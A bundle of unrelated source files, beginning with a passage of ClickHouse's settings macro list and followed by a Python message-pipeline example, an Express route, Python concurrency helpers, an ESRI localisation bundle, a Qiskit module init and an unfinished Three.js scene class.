M(SettingUInt64, min_insert_block_size_rows, DEFAULT_INSERT_BLOCK_SIZE, "Squash blocks passed to INSERT query to specified size in rows, if blocks are not big enough.") \
M(SettingUInt64, min_insert_block_size_bytes, (DEFAULT_INSERT_BLOCK_SIZE * 256), "Squash blocks passed to INSERT query to specified size in bytes, if blocks are not big enough.") \
M(SettingMaxThreads, max_threads, 0, "The maximum number of threads to execute the request. By default, it is determined automatically.") \
M(SettingUInt64, max_read_buffer_size, DBMS_DEFAULT_BUFFER_SIZE, "The maximum size of the buffer to read from the filesystem.") \
M(SettingUInt64, max_distributed_connections, 1024, "The maximum number of connections for distributed processing of one query (should be greater than max_threads).") \
M(SettingUInt64, max_query_size, 262144, "Which part of the query can be read into RAM for parsing (the remaining data for INSERT, if any, is read later)") \
M(SettingUInt64, interactive_delay, 100000, "The interval in microseconds to check if the request is cancelled, and to send progress info.") \
M(SettingSeconds, connect_timeout, DBMS_DEFAULT_CONNECT_TIMEOUT_SEC, "Connection timeout if there are no replicas.") \
M(SettingMilliseconds, connect_timeout_with_failover_ms, DBMS_DEFAULT_CONNECT_TIMEOUT_WITH_FAILOVER_MS, "Connection timeout for selecting first healthy replica.") \
M(SettingSeconds, receive_timeout, DBMS_DEFAULT_RECEIVE_TIMEOUT_SEC, "") \
M(SettingSeconds, send_timeout, DBMS_DEFAULT_SEND_TIMEOUT_SEC, "") \
M(SettingSeconds, tcp_keep_alive_timeout, 0, "") \
M(SettingMilliseconds, queue_max_wait_ms, 5000, "The wait time in the request queue, if the number of concurrent requests exceeds the maximum.") \
M(SettingUInt64, poll_interval, DBMS_DEFAULT_POLL_INTERVAL, "Block at the query wait loop on the server for the specified number of seconds.") \
M(SettingUInt64, distributed_connections_pool_size, DBMS_DEFAULT_DISTRIBUTED_CONNECTIONS_POOL_SIZE, "Maximum number of connections with one remote server in the pool.") \
M(SettingUInt64, connections_with_failover_max_tries, DBMS_CONNECTION_POOL_WITH_FAILOVER_DEFAULT_MAX_TRIES, "The maximum number of attempts to connect to replicas.") \
M(SettingBool, extremes, false, "Calculate minimums and maximums of the result columns. They can be output in JSON-formats.") \
M(SettingBool, use_uncompressed_cache, true, "Whether to use the cache of uncompressed blocks.") \
M(SettingBool, replace_running_query, false, "Whether the running request should be canceled with the same id as the new one.") \
M(SettingUInt64, background_pool_size, 16, "Number of threads performing background work for tables (for example, merging in merge tree). Only has meaning at server startup.") \
M(SettingUInt64, background_schedule_pool_size, 16, "Number of threads performing background tasks for replicated tables. Only has meaning at server startup.") \
\
M(SettingMilliseconds, distributed_directory_monitor_sleep_time_ms, 100, "Sleep time for StorageDistributed DirectoryMonitors in case there is no work or exception has been thrown.") \
\
M(SettingBool, distributed_directory_monitor_batch_inserts, false, "Should StorageDistributed DirectoryMonitors try to batch individual inserts into bigger ones.") \
\
M(SettingBool, optimize_move_to_prewhere, true, "Allows disabling WHERE to PREWHERE optimization in SELECT queries from MergeTree.") \
\
M(SettingUInt64, replication_alter_partitions_sync, 1, "Wait for actions to manipulate the partitions. 0 - do not wait, 1 - wait for execution only of itself, 2 - wait for everyone.") \
M(SettingUInt64, replication_alter_columns_timeout, 60, "Wait for actions to change the table structure within the specified number of seconds. 0 - wait unlimited time.") \
\
M(SettingLoadBalancing, load_balancing, LoadBalancing::RANDOM, "Which replicas (among healthy replicas) to preferably send a query to (on the first attempt) for distributed processing.") \
\
M(SettingTotalsMode, totals_mode, TotalsMode::AFTER_HAVING_EXCLUSIVE, "How to calculate TOTALS when HAVING is present, as well as when max_rows_to_group_by and group_by_overflow_mode = ‘any’ are present.") \
M(SettingFloat, totals_auto_threshold, 0.5, "The threshold for totals_mode = 'auto'.") \
\
M(SettingBool, compile, false, "Whether query compilation is enabled.") \
M(SettingBool, compile_expressions, true, "Compile some scalar functions and operators to native code.") \
M(SettingUInt64, min_count_to_compile, 3, "The number of structurally identical queries before they are compiled.") \
M(SettingUInt64, group_by_two_level_threshold, 100000, "From what number of keys, a two-level aggregation starts. 0 - the threshold is not set.") \
M(SettingUInt64, group_by_two_level_threshold_bytes, 100000000, "From what size of the aggregation state in bytes, a two-level aggregation begins to be used. 0 - the threshold is not set. Two-level aggregation is used when at least one of the thresholds is triggered.") \
M(SettingBool, distributed_aggregation_memory_efficient, false, "Is the memory-saving mode of distributed aggregation enabled.") \
M(SettingUInt64, aggregation_memory_efficient_merge_threads, 0, "Number of threads to use for merge intermediate aggregation results in memory efficient mode. When bigger, then more memory is consumed. 0 means - same as 'max_threads'.") \
\
M(SettingUInt64, max_parallel_replicas, 1, "The maximum number of replicas of each shard used when the query is executed. For consistency (to get different parts of the same partition), this option only works for the specified sampling key. The lag of the replicas is not controlled.") \
M(SettingUInt64, parallel_replicas_count, 0, "") \
M(SettingUInt64, parallel_replica_offset, 0, "") \
\
M(SettingBool, skip_unavailable_shards, false, "Silently skip unavailable shards.") \
\
M(SettingBool, distributed_group_by_no_merge, false, "Do not merge aggregation states from different servers for distributed query processing - in case it is for certain that there are different keys on different shards.") \
M(SettingBool, optimize_skip_unused_shards, false, "Assumes that data is distributed by sharding_key. Optimization to skip unused shards if SELECT query filters by sharding_key.") \
\
M(SettingUInt64, merge_tree_min_rows_for_concurrent_read, (20 * 8192), "If at least as many lines are read from one file, the reading can be parallelized.") \
M(SettingUInt64, merge_tree_min_rows_for_seek, 0, "You can skip reading more than that number of rows at the price of one seek per file.") \
M(SettingUInt64, merge_tree_coarse_index_granularity, 8, "If the index segment can contain the required keys, divide it into as many parts and recursively check them.") \
M(SettingUInt64, merge_tree_max_rows_to_use_cache, (1024 * 1024), "The maximum number of rows per request, to use the cache of uncompressed data. If the request is large, the cache is not used. (For large queries not to flush out the cache.)") \
\
M(SettingBool, merge_tree_uniform_read_distribution, true, "Distribute read from MergeTree over threads evenly, ensuring stable average execution time of each thread within one read operation.") \
\
M(SettingUInt64, mysql_max_rows_to_insert, 65536, "The maximum number of rows in MySQL batch insertion of the MySQL storage engine") \
\
M(SettingUInt64, optimize_min_equality_disjunction_chain_length, 3, "The minimum length of the expression `expr = x1 OR ... expr = xN` for optimization ") \
\
M(SettingUInt64, min_bytes_to_use_direct_io, 0, "The minimum number of bytes for input/output operations is bypassing the page cache. 0 - disabled.") \
\
M(SettingBool, force_index_by_date, 0, "Throw an exception if there is a partition key in a table, and it is not used.") \
M(SettingBool, force_primary_key, 0, "Throw an exception if there is primary key in a table, and it is not used.") \
\
M(SettingUInt64, mark_cache_min_lifetime, 10000, "If the maximum size of mark_cache is exceeded, delete only records older than mark_cache_min_lifetime seconds.") \
\
M(SettingFloat, max_streams_to_max_threads_ratio, 1, "Allows you to use more sources than the number of threads - to more evenly distribute work across threads. It is assumed that this is a temporary solution, since it will be possible in the future to make the number of sources equal to the number of threads, but for each source to dynamically select available work for itself.") \
\
M(SettingString, network_compression_method, "LZ4", "Allows you to select the method of data compression when writing.") \
\
M(SettingInt64, network_zstd_compression_level, 1, "Allows you to select the level of ZSTD compression.") \
\
M(SettingUInt64, priority, 0, "Priority of the query. 1 - the highest, higher value - lower priority; 0 - do not use priorities.") \
\
M(SettingBool, log_queries, 0, "Log requests and write the log to the system table.") \
\
M(SettingUInt64, log_queries_cut_to_length, 100000, "If query length is greater than specified threshold (in bytes), then cut query when writing to query log. Also limit length of printed query in ordinary text log.") \
\
M(SettingDistributedProductMode, distributed_product_mode, DistributedProductMode::DENY, "How are distributed subqueries performed inside IN or JOIN sections?") \
\
M(SettingUInt64, max_concurrent_queries_for_user, 0, "The maximum number of concurrent requests per user.") \
\
M(SettingBool, insert_deduplicate, true, "For INSERT queries in the replicated table, specifies that deduplication of insertings blocks should be preformed") \
M(SettingBool, insert_sample_with_metadata, false, "For INSERT queries, specifies that the server need to send metadata about column defaults to the client. This will be used to calculate default expressions.") \
\
M(SettingUInt64, insert_quorum, 0, "For INSERT queries in the replicated table, wait writing for the specified number of replicas and linearize the addition of the data. 0 - disabled.") \
M(SettingMilliseconds, insert_quorum_timeout, 600000, "") \
M(SettingUInt64, select_sequential_consistency, 0, "For SELECT queries from the replicated table, throw an exception if the replica does not have a chunk written with the quorum; do not read the parts that have not yet been written with the quorum.") \
M(SettingUInt64, table_function_remote_max_addresses, 1000, "The maximum number of different shards and the maximum number of replicas of one shard in the `remote` function.") \
M(SettingMilliseconds, read_backoff_min_latency_ms, 1000, "Setting to reduce the number of threads in case of slow reads. Pay attention only to reads that took at least that much time.") \
M(SettingUInt64, read_backoff_max_throughput, 1048576, "Settings to reduce the number of threads in case of slow reads. Count events when the read bandwidth is less than that many bytes per second.") \
M(SettingMilliseconds, read_backoff_min_interval_between_events_ms, 1000, "Settings to reduce the number of threads in case of slow reads. Do not pay attention to the event, if the previous one has passed less than a certain amount of time.") \
M(SettingUInt64, read_backoff_min_events, 2, "Settings to reduce the number of threads in case of slow reads. The number of events after which the number of threads will be reduced.") \
\
M(SettingFloat, memory_tracker_fault_probability, 0., "For testing of `exception safety` - throw an exception every time you allocate memory with the specified probability.") \
\
M(SettingBool, enable_http_compression, 0, "Compress the result if the client over HTTP said that it understands data compressed by gzip or deflate.") \
M(SettingInt64, http_zlib_compression_level, 3, "Compression level - used if the client on HTTP said that it understands data compressed by gzip or deflate.") \
\
M(SettingBool, http_native_compression_disable_checksumming_on_decompress, 0, "If you uncompress the POST data from the client compressed by the native format, do not check the checksum.") \
\
M(SettingString, count_distinct_implementation, "uniqExact", "What aggregate function to use for implementation of count(DISTINCT ...)") \
\
M(SettingBool, output_format_write_statistics, true, "Write statistics about read rows, bytes, time elapsed in suitable output formats.") \
\
M(SettingBool, add_http_cors_header, false, "Write add http CORS header.") \
\
M(SettingBool, input_format_skip_unknown_fields, false, "Skip columns with unknown names from input data (it works for JSONEachRow and TSKV formats).") \
M(SettingBool, input_format_import_nested_json, false, "Map nested JSON data to nested tables (it works for JSONEachRow format).") \
\
M(SettingBool, input_format_values_interpret_expressions, true, "For Values format: if field could not be parsed by streaming parser, run SQL parser and try to interpret it as SQL expression.") \
\
M(SettingBool, output_format_json_quote_64bit_integers, true, "Controls quoting of 64-bit integers in JSON output format.") \
\
M(SettingBool, output_format_json_quote_denormals, false, "Enables '+nan', '-nan', '+inf', '-inf' outputs in JSON output format.") \
\
M(SettingBool, output_format_json_escape_forward_slashes, true, "Controls escaping forward slashes for string outputs in JSON output format. This is intended for compatibility with JavaScript. Don't confuse with backslashes that are always escaped.") \
\
M(SettingUInt64, output_format_pretty_max_rows, 10000, "Rows limit for Pretty formats.") \
M(SettingUInt64, output_format_pretty_max_column_pad_width, 250, "Maximum width to pad all values in a column in Pretty formats.") \
M(SettingBool, output_format_pretty_color, true, "Use ANSI escape sequences to paint colors in Pretty formats") \
\
M(SettingBool, use_client_time_zone, false, "Use client timezone for interpreting DateTime string values, instead of adopting server timezone.") \
\
M(SettingBool, send_progress_in_http_headers, false, "Send progress notifications using X-ClickHouse-Progress headers. Some clients do not support high amount of HTTP headers (Python requests in particular), so it is disabled by default.") \
\
M(SettingUInt64, http_headers_progress_interval_ms, 100, "Do not send HTTP headers X-ClickHouse-Progress more frequently than at each specified interval.") \
\
M(SettingBool, fsync_metadata, 1, "Do fsync after changing metadata for tables and databases (.sql files). Could be disabled in case of poor latency on server with high load of DDL queries and high load of disk subsystem.") \
\
M(SettingUInt64, input_format_allow_errors_num, 0, "Maximum absolute amount of errors while reading text formats (like CSV, TSV). In case of error, if both absolute and relative values are non-zero, and at least absolute or relative amount of errors is lower than corresponding value, will skip until next line and continue.") \
M(SettingFloat, input_format_allow_errors_ratio, 0, "Maximum relative amount of errors while reading text formats (like CSV, TSV). In case of error, if both absolute and relative values are non-zero, and at least absolute or relative amount of errors is lower than corresponding value, will skip until next line and continue.") \
\
M(SettingBool, join_use_nulls, 0, "Use NULLs for non-joined rows of outer JOINs. If false, use default value of corresponding columns data type.") \
\
M(SettingJoinStrictness, join_default_strictness, JoinStrictness::ALL, "Set default strictness in JOIN query. Possible values: empty string, 'ANY', 'ALL'. If empty, query without strictness will throw exception.") \
\
M(SettingUInt64, preferred_block_size_bytes, 1000000, "") \
\
M(SettingUInt64, max_replica_delay_for_distributed_queries, 300, "If set, distributed queries of Replicated tables will choose servers with replication delay in seconds less than the specified value (not inclusive). Zero means do not take delay into account.") \
M(SettingBool, fallback_to_stale_replicas_for_distributed_queries, 1, "Suppose max_replica_delay_for_distributed_queries is set and all replicas for the queried table are stale. If this setting is enabled, the query will be performed anyway, otherwise the error will be reported.") \
M(SettingUInt64, preferred_max_column_in_block_size_bytes, 0, "Limit on max column size in block while reading. Helps to decrease cache misses count. Should be close to L2 cache size.") \
\
M(SettingBool, insert_distributed_sync, false, "If setting is enabled, insert query into distributed waits until data will be sent to all nodes in cluster.") \
M(SettingUInt64, insert_distributed_timeout, 0, "Timeout for insert query into distributed. Setting is used only with insert_distributed_sync enabled. Zero value means no timeout.") \
M(SettingInt64, distributed_ddl_task_timeout, 180, "Timeout for DDL query responses from all hosts in cluster. Negative value means infinite.") \
M(SettingMilliseconds, stream_flush_interval_ms, 7500, "Timeout for flushing data from streaming storages.") \
M(SettingString, format_schema, "", "Schema identifier (used by schema-based formats)") \
M(SettingBool, insert_allow_materialized_columns, 0, "If setting is enabled, Allow materialized columns in INSERT.") \
M(SettingSeconds, http_connection_timeout, DEFAULT_HTTP_READ_BUFFER_CONNECTION_TIMEOUT, "HTTP connection timeout.") \
M(SettingSeconds, http_send_timeout, DEFAULT_HTTP_READ_BUFFER_TIMEOUT, "HTTP send timeout") \
M(SettingSeconds, http_receive_timeout, DEFAULT_HTTP_READ_BUFFER_TIMEOUT, "HTTP receive timeout") \
M(SettingBool, optimize_throw_if_noop, false, "If setting is enabled and OPTIMIZE query didn't actually assign a merge then an explanatory exception is thrown") \
M(SettingBool, use_index_for_in_with_subqueries, true, "Try using an index if there is a subquery or a table expression on the right side of the IN operator.") \
M(SettingBool, empty_result_for_aggregation_by_empty_set, false, "Return empty result when aggregating without keys on empty set.") \
M(SettingBool, allow_distributed_ddl, true, "If it is set to true, then a user is allowed to executed distributed DDL queries.") \
M(SettingUInt64, odbc_max_field_size, 1024, "Max size of filed can be read from ODBC dictionary. Long strings are truncated.") \
\
\
/** Limits during query execution are part of the settings. \
* Used to provide a more safe execution of queries from the user interface. \
* Basically, limits are checked for each block (not every row). That is, the limits can be slightly violated. \
* Almost all limits apply only to SELECTs. \
* Almost all limits apply to each stream individually. \
*/ \
\
M(SettingUInt64, max_rows_to_read, 0, "Limit on read rows from the most 'deep' sources. That is, only in the deepest subquery. When reading from a remote server, it is only checked on a remote server.") \
M(SettingUInt64, max_bytes_to_read, 0, "Limit on read bytes (after decompression) from the most 'deep' sources. That is, only in the deepest subquery. When reading from a remote server, it is only checked on a remote server.") \
M(SettingOverflowMode<false>, read_overflow_mode, OverflowMode::THROW, "What to do when the limit is exceeded.") \
\
M(SettingUInt64, max_rows_to_group_by, 0, "") \
M(SettingOverflowMode<true>, group_by_overflow_mode, OverflowMode::THROW, "What to do when the limit is exceeded.") \
M(SettingUInt64, max_bytes_before_external_group_by, 0, "") \
\
M(SettingUInt64, max_rows_to_sort, 0, "") \
M(SettingUInt64, max_bytes_to_sort, 0, "") \
M(SettingOverflowMode<false>, sort_overflow_mode, OverflowMode::THROW, "What to do when the limit is exceeded.") \
M(SettingUInt64, max_bytes_before_external_sort, 0, "") \
M(SettingUInt64, max_bytes_before_remerge_sort, 1000000000, "In case of ORDER BY with LIMIT, when memory usage is higher than specified threshold, perform additional steps of merging blocks before final merge to keep just top LIMIT rows.") \
\
M(SettingUInt64, max_result_rows, 0, "Limit on result size in rows. Also checked for intermediate data sent from remote servers.") \
M(SettingUInt64, max_result_bytes, 0, "Limit on result size in bytes (uncompressed). Also checked for intermediate data sent from remote servers.") \
M(SettingOverflowMode<false>, result_overflow_mode, OverflowMode::THROW, "What to do when the limit is exceeded.") \
\
/* TODO: Check also when merging and finalizing aggregate functions. */ \
M(SettingSeconds, max_execution_time, 0, "") \
M(SettingOverflowMode<false>, timeout_overflow_mode, OverflowMode::THROW, "What to do when the limit is exceeded.") \
\
M(SettingUInt64, min_execution_speed, 0, "In rows per second.") \
M(SettingSeconds, timeout_before_checking_execution_speed, 0, "Check that the speed is not too low after the specified time has elapsed.") \
\
M(SettingUInt64, max_columns_to_read, 0, "") \
M(SettingUInt64, max_temporary_columns, 0, "") \
M(SettingUInt64, max_temporary_non_const_columns, 0, "") \
\
M(SettingUInt64, max_subquery_depth, 100, "") \
M(SettingUInt64, max_pipeline_depth, 1000, "") \
M(SettingUInt64, max_ast_depth, 1000, "Maximum depth of query syntax tree. Checked after parsing.") \
M(SettingUInt64, max_ast_elements, 50000, "Maximum size of query syntax tree in number of nodes. Checked after parsing.") \
M(SettingUInt64, max_expanded_ast_elements, 500000, "Maximum size of query syntax tree in number of nodes after expansion of aliases and the asterisk.") \
\
M(SettingUInt64, readonly, 0, "0 - everything is allowed. 1 - only read requests. 2 - only read requests, as well as changing settings, except for the 'readonly' setting.") \
\
M(SettingUInt64, max_rows_in_set, 0, "Maximum size of the set (in number of elements) resulting from the execution of the IN section.") \
M(SettingUInt64, max_bytes_in_set, 0, "Maximum size of the set (in bytes in memory) resulting from the execution of the IN section.") \
M(SettingOverflowMode<false>, set_overflow_mode, OverflowMode::THROW, "What to do when the limit is exceeded.") \
\
M(SettingUInt64, max_rows_in_join, 0, "Maximum size of the hash table for JOIN (in number of rows).") \
M(SettingUInt64, max_bytes_in_join, 0, "Maximum size of the hash table for JOIN (in number of bytes in memory).") \
M(SettingOverflowMode<false>, join_overflow_mode, OverflowMode::THROW, "What to do when the limit is exceeded.") \
\
M(SettingUInt64, max_rows_to_transfer, 0, "Maximum size (in rows) of the transmitted external table obtained when the GLOBAL IN/JOIN section is executed.") \
M(SettingUInt64, max_bytes_to_transfer, 0, "Maximum size (in uncompressed bytes) of the transmitted external table obtained when the GLOBAL IN/JOIN section is executed.") \
M(SettingOverflowMode<false>, transfer_overflow_mode, OverflowMode::THROW, "What to do when the limit is exceeded.") \
\
M(SettingUInt64, max_rows_in_distinct, 0, "Maximum number of elements during execution of DISTINCT.") \
M(SettingUInt64, max_bytes_in_distinct, 0, "Maximum total size of state (in uncompressed bytes) in memory for the execution of DISTINCT.") \
M(SettingOverflowMode<false>, distinct_overflow_mode, OverflowMode::THROW, "What to do when the limit is exceeded.") \
\
M(SettingUInt64, max_memory_usage, 0, "Maximum memory usage for processing of single query. Zero means unlimited.") \
M(SettingUInt64, max_memory_usage_for_user, 0, "Maximum memory usage for processing all concurrently running queries for the user. Zero means unlimited.") \
M(SettingUInt64, max_memory_usage_for_all_queries, 0, "Maximum memory usage for processing all concurrently running queries on the server. Zero means unlimited.") \
\
M(SettingUInt64, max_network_bandwidth, 0, "The maximum speed of data exchange over the network in bytes per second for a query. Zero means unlimited.") \
M(SettingUInt64, max_network_bytes, 0, "The maximum number of bytes (compressed) to receive or transmit over the network for execution of the query.") \
M(SettingUInt64, max_network_bandwidth_for_user, 0, "The maximum speed of data exchange over the network in bytes per second for all concurrently running user queries. Zero means unlimited.")\
M(SettingUInt64, max_network_bandwidth_for_all_users, 0, "The maximum speed of data exchange over the network in bytes per second for all concurrently running queries. Zero means unlimited.") \
M(SettingChar, format_csv_delimiter, ',', "The character to be considered as a delimiter in CSV data. If setting with a string, a string has to have a length of 1.") \
M(SettingBool, format_csv_allow_single_quotes, 1, "If it is set to true, allow strings in single quotes.") \
M(SettingBool, format_csv_allow_double_quotes, 1, "If it is set to true, allow strings in double quotes.") \
\
M(SettingDateTimeInputFormat, date_time_input_format, FormatSettings::DateTimeInputFormat::Basic, "Method to read DateTime from text input formats. Possible values: 'basic' and 'best_effort'.") \
M(SettingBool, log_profile_events, true, "Log query performance statistics into the query_log and query_thread_log.") \
M(SettingBool, log_query_settings, true, "Log query settings into the query_log.") \
M(SettingBool, log_query_threads, true, "Log query threads into system.query_thread_log table. This setting have effect only when 'log_queries' is true.") \
M(SettingLogsLevel, send_logs_level, "none", "Send server text logs with specified minimum level to client. Valid values: 'trace', 'debug', 'information', 'warning', 'error', 'none'") \
M(SettingBool, enable_optimize_predicate_expression, 0, "If it is set to true, optimize predicates to subqueries.") \
\
M(SettingUInt64, low_cardinality_max_dictionary_size, 8192, "Maximum size (in rows) of shared global dictionary for LowCardinality type.") \
M(SettingBool, low_cardinality_use_single_dictionary_for_part, false, "LowCardinality type serialization setting. If is true, than will use additional keys when global dictionary overflows. Otherwise, will create several shared dictionaries.") \
M(SettingBool, allow_experimental_low_cardinality_type, false, "Allows to create table with LowCardinality types.") \
M(SettingBool, decimal_check_overflow, true, "Check overflow of decimal arithmetic/comparison operations") \
\
M(SettingBool, prefer_localhost_replica, 1, "1 - always send query to local replica, if it exists. 0 - choose replica to send query between local and remote ones according to load_balancing") \
M(SettingUInt64, max_fetch_partition_retries_count, 5, "Amount of retries while fetching partition from another host.") \
M(SettingBool, asterisk_left_columns_only, 0, "If it is set to true, the asterisk only return left of join query.") \
M(SettingUInt64, http_max_multipart_form_data_size, 1024 * 1024 * 1024, "Limit on size of multipart/form-data content. This setting cannot be parsed from URL parameters and should be set in user profile. Note that content is parsed and external tables are created in memory before start of query execution. And this is the only limit that has effect on that stage (limits on max memory usage and max execution time have no effect while reading HTTP form data).") \
M(SettingBool, calculate_text_stack_trace, 1, "Calculate text stack trace in case of exceptions during query execution. This is the default. It requires symbol lookups that may slow down fuzzing tests when huge amount of wrong queries are executed. In normal cases you should not disable this option.") \
M(SettingBool, allow_ddl, true, "If it is set to true, then a user is allowed to executed DDL queries.") \
M(SettingBool, parallel_view_processing, false, "Enables pushing to attached views concurrently instead of sequentially.") \
M(SettingBool, enable_debug_queries, false, "Enables debug queries such as AST.") \
M(SettingBool, enable_unaligned_array_join, false, "Allow ARRAY JOIN with multiple arrays that have different sizes. When this settings is enabled, arrays will be resized to the longest one.") \
M(SettingBool, low_cardinality_allow_in_native_format, true, "Use LowCardinality type in Native format. Otherwise, convert LowCardinality columns to ordinary for select query, and convert ordinary columns to required LowCardinality for insert query.") \
M(SettingBool, allow_experimental_multiple_joins_emulation, false, "Emulate multiple joins using subselects") \
#define DECLARE(TYPE, NAME, DEFAULT, DESCRIPTION) \
TYPE NAME {DEFAULT};
APPLY_FOR_SETTINGS(DECLARE)
#undef DECLARE
/// Set setting by name.
void set(const String & name, const Field & value);
/// Set setting by name. Read value, serialized in binary form from buffer (for inter-server communication).
void set(const String & name, ReadBuffer & buf);
/// Skip value, serialized in binary form in buffer.
void ignore(const String & name, ReadBuffer & buf);
/// Set setting by name. Read value in text form from string (for example, from configuration file or from URL parameter).
void set(const String & name, const String & value);
/// Get setting by name. Converts value to String.
String get(const String & name) const;
bool tryGet(const String & name, String & value) const;
/** Set multiple settings from "profile" (in server configuration file (users.xml), profiles contain groups of multiple settings).
* The profile can also be set using the `set` functions, like the profile setting.
*/
void setProfile(const String & profile_name, const Poco::Util::AbstractConfiguration & config);
/// Load settings from configuration file, at "path" prefix in configuration.
void loadSettingsFromConfig(const String & path, const Poco::Util::AbstractConfiguration & config);
/// Read settings from buffer. They are serialized as list of contiguous name-value pairs, finished with empty name.
/// If readonly=1 is set, ignore read settings.
void deserialize(ReadBuffer & buf);
/// Write changed settings to buffer. (For example, to be sent to remote server.)
void serialize(WriteBuffer & buf) const;
/// Dumps profile events to two columns of type Array(String)
void dumpToArrayColumns(IColumn * column_names, IColumn * column_values, bool changed_only = true);
};
}
|
from collections import defaultdict
import random
import time
import uuid
from motorway.contrib.amazon_sqs.intersections import SQSInsertIntersection
from motorway.decorators import batch_process
from motorway.messages import Message
from motorway.intersection import Intersection
class SentenceSplitIntersection(Intersection):
def process(self, message):
for word in message.content.split(" "):
yield Message(str(uuid.uuid4()), word, grouping_value=word)
self.ack(message)
class WordCountIntersection(Intersection):
def __init__(self, **kwargs):
self._count = defaultdict(int)
super(WordCountIntersection, self).__init__(**kwargs)
@batch_process(wait=2, limit=5)
def process(self, messages):
for message in messages:
# time.sleep(1)
self._count[message.content] += 1
self.ack(message)
# time.sleep(0.5)
yield Message(str(uuid.uuid4()), self._count)
class AggregateIntersection(Intersection):
def __init__(self, **kwargs):
self._count = defaultdict(int)
super(AggregateIntersection, self).__init__(**kwargs)
def process(self, message):
self._count.update(message.content)
yield Message(str(uuid.uuid4()), self._count)
self.ack(message)
class AggregateConsumerIntersection(Intersection):
def __init__(self, **kwargs):
self._count = defaultdict(int)
super(AggregateConsumerIntersection, self).__init__(**kwargs)
def process(self, message):
self._count.update(message.content)
self.ack(message)
print "Aggregate: ", self.process_uuid, self._count
yield
class ExampleSQSIntersection(SQSInsertIntersection):
queue_name = "tutorial_motorway"
|
const express = require('express');
const router = express.Router();
/* GET "who we are" page. */
router.get('/', (req, res) => {
if (global.env_name.toLowerCase().indexOf('prod') !== 0){
bannerhtml = '<section class="banner">'+global.env_name+'</section>'
}
res.render('who', {
title: 'Who We Are',
stylesheet: 'assets/css/main.css',
banner: bannerhtml
});
});
module.exports = router;
|
__all__ = ['stream_batched', 'call_once', 'threadlocal', 'shared_call']
import functools
import threading
import time
from collections.abc import Callable, Sequence
from concurrent.futures import Future
from contextlib import ExitStack
from queue import Empty, SimpleQueue
from threading import Thread
from typing import Any, TypeVar, cast
from weakref import WeakValueDictionary
_T = TypeVar('_T')
_F = TypeVar('_F', bound=Callable)
_ZeroArgsF = TypeVar('_ZeroArgsF', bound=Callable[[], Any])
def threadlocal(fn: Callable[..., _T], *args: object,
**kwargs: object) -> Callable[[], _T]:
"""Thread-local singleton factory, mimics `functools.partial`"""
local_ = threading.local()
def wrapper() -> _T:
try:
return local_.obj
except AttributeError:
local_.obj = fn(*args, **kwargs)
return local_.obj
return wrapper
class _DeferredStack(ExitStack):
"""
ExitStack that allows deferring.
When return value of callback function should be accessible, use this.
"""
def defer(self, fn: Callable[..., _T], *args, **kwargs) -> Future[_T]:
future: Future[_T] = Future()
def apply(future: Future[_T]) -> None:
try:
result = fn(*args, **kwargs)
except BaseException as exc: # noqa: PIE786
future.set_exception(exc)
else:
future.set_result(result)
self.callback(apply, future)
return future
def call_once(fn: _ZeroArgsF) -> _ZeroArgsF:
"""Makes `fn()` callable a singleton"""
lock = threading.RLock()
def wrapper():
with _DeferredStack() as stack, lock:
if fn._future is None:
# This way setting future is protected, but fn() is not
fn._future = stack.defer(fn)
return fn._future.result()
fn._future = None # type: ignore
return cast(_ZeroArgsF, functools.update_wrapper(wrapper, fn))
def shared_call(fn: _F) -> _F:
"""Merges concurrent calls to `fn` with the same `args` to single one"""
lock = threading.RLock()
futures: WeakValueDictionary[str, Future] = WeakValueDictionary()
def wrapper(*args, **kwargs):
key = f'{fn}{args}{kwargs}'
with _DeferredStack() as stack, lock:
try:
future = futures[key]
except KeyError:
futures[key] = future = stack.defer(fn, *args, **kwargs)
return future.result()
return cast(_F, functools.update_wrapper(wrapper, fn))
def _batch_apply(func: Callable, args: Sequence, futures: Sequence[Future]):
try:
results = func(args)
assert len(args) == len(results)
except BaseException as exc: # noqa: PIE786
for fut in futures:
fut.set_exception(exc)
else:
for fut, res in zip(futures, results):
fut.set_result(res)
def stream_batched(func=None, *, batch_size, latency=0.1, timeout=20.):
"""
Delays start of computation up to `latency` seconds
in order to fill batch to batch_size items and
send it at once to target function.
`timeout` specifies timeout to wait results from worker.
Simplified version of https://github.com/ShannonAI/service-streamer
"""
if func is None:
return functools.partial(
stream_batched,
batch_size=batch_size,
latency=latency,
timeout=timeout)
assert callable(func)
buf = SimpleQueue()
def _fetch_batch():
end_time = time.monotonic() + latency
for _ in range(batch_size):
try:
yield buf.get(timeout=end_time - time.monotonic())
except (Empty, ValueError): # ValueError on negative timeout
return
def _serve_forever():
while True:
if batch := [*_fetch_batch()]:
_batch_apply(func, *zip(*batch))
else:
time.sleep(0.001)
def wrapper(batch):
futures = [Future() for _ in batch]
for item, fut in zip(batch, futures):
buf.put((item, fut))
return [f.result(timeout=timeout) for f in futures]
Thread(target=_serve_forever, daemon=True).start()
return functools.update_wrapper(wrapper, func)
|
// All material copyright ESRI, All Rights Reserved, unless otherwise specified.
// See https://js.arcgis.com/4.11/esri/copyright.txt for details.
//>>built
define({"esri/widgets/LayerList/nls/LayerList":{widgetLabel:"Elenco layer",noItemsToDisplay:"Non \u00e8 attualmente disponibile alcun elemento da visualizzare.",layerInvisibleAtScale:"Invisibile con la scala attuale",layerError:"Errore durante il caricamento di questo layer",untitledLayer:"Layer senza titolo",_localized:{}}});
|
# This code is part of Qiskit.
#
# (C) Copyright IBM 2018, 2019.
#
# This code is licensed under the Apache License, Version 2.0. You may
# obtain a copy of this license in the LICENSE.txt file in the root directory
# of this source tree or at http://www.apache.org/licenses/LICENSE-2.0.
#
# Any modifications or derivative works of this code must retain this
# copyright notice, and modified files need to carry a notice indicating
# that they have been altered from the originals.
"""
Noise utils for Qiskit Aer.
"""
from .noise_remapper import remap_noise_model
from .noise_transformation import NoiseTransformer
from .noise_transformation import approximate_quantum_error
from .noise_transformation import approximate_noise_model
|
import Scene3D from "./Scene3D";
export default class AnimatedScene3D extends Scene3D
{
cameraControls = null;
cameraControlsParams = null;
cameraControlsEnabled = true;
init(options)
{
if (options)
{
if (options.cameraControlsEnabled)
{
this.cameraControlsEnabled = options.cameraControlsEnabled;
}
}
super.init(options);
this.$element.addClass("animated-scene3d");
this.initControls();
}
initControls()
{
this.initCameraControls();
}
initCameraControls()
{
if (this.cameraControlsEnabled && !this.cameraControls)
{
/*
this.cameraControls = new THREE.TrackballControls(this.camera, this.$element.find("canvas")[0]);
*/
this.cameraControls = new THREE.OrbitControls(this.camera, this.$element.find("canvas")[0]);
if (this.cameraControlsParams)
{
Object.assign(this.cameraControls, this.cameraControlsParams);
}
}
}
startAnimation()
{
